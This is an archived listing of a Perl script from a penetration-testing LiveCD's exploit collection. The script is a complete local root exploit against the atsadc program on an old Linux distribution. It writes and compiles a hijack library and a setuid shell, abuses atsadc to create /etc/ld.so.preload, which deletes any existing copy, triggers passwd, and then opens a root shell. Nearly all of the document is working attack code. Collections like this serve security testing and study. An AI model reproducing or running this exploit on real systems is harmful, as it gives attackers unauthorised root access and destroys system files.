home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / ass.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  62 lines

  1. #!/usr/bin/perl
  2.  
  3. # Halloween 4 local root-exploit, other distros are maybe
  4. # affected as well. (atsadc program)
  5. # (C) 2000 C-skills development, S. Krahmer under the GPL
  6. # http://www.cs.uni-potsdam.de/homepages/students/linuxer
  7.  
  8. # Exploit will create /etc/ld.so.preload, so it should NOT exist
  9. # already. THIS FILE WILL BE LOST!
  10.  
  11. # ! USE IT AT YOUR OWN RISK !
  12. # For educational purposes only.
  13.  
  14. print "Creating hijack-lib ...\n";
  15. open O, ">/tmp/boom.c" or die "open(boom.c..)";
  16. print O<<_EOF_;
  17. #include <sys/types.h>
  18.  
  19. int time(void *v)
  20. {
  21.     chown("/tmp/boomsh", 0, 0);
  22.     chmod("/tmp/boomsh", 06755);
  23.     unlink("/etc/ld.so.preload");
  24.     exit(1);
  25. }
  26. _EOF_
  27. close O;
  28.  
  29. print "Compiling hijack-lib ...\n";
  30. $foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
  31. $foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`;
  32.  
  33. open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
  34. print O<<_EOF2_;
  35. #include <stdio.h>
  36. int main() 
  37. {
  38.     char *a[] = {"/bin/sh", 0};
  39.     setuid(0); setregid(0, 0);
  40.     execve(a[0], a, 0);
  41.     return 0;
  42. }
  43. _EOF2_
  44. close O;
  45.  
  46. print "Compile shell ...\n";
  47. $foo = `cc /tmp/boomsh.c -o /tmp/boomsh`;
  48.  
  49. umask 0;
  50.  
  51. print "Invoking vulnerable program (atsadc)...\n";
  52. $foo = `atsadc 2 1 /etc/ld.so.preload`;
  53. open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
  54. print O "/tmp/boom.so";
  55. close O;
  56. $foo = `/usr/bin/passwd`;
  57.  
  58. # let it look like if we have sth. to do. :)
  59. sleep 3;
  60. print "Welcome. But as always: BEHAVE!\n";
  61. system("/tmp/boomsh");
  62.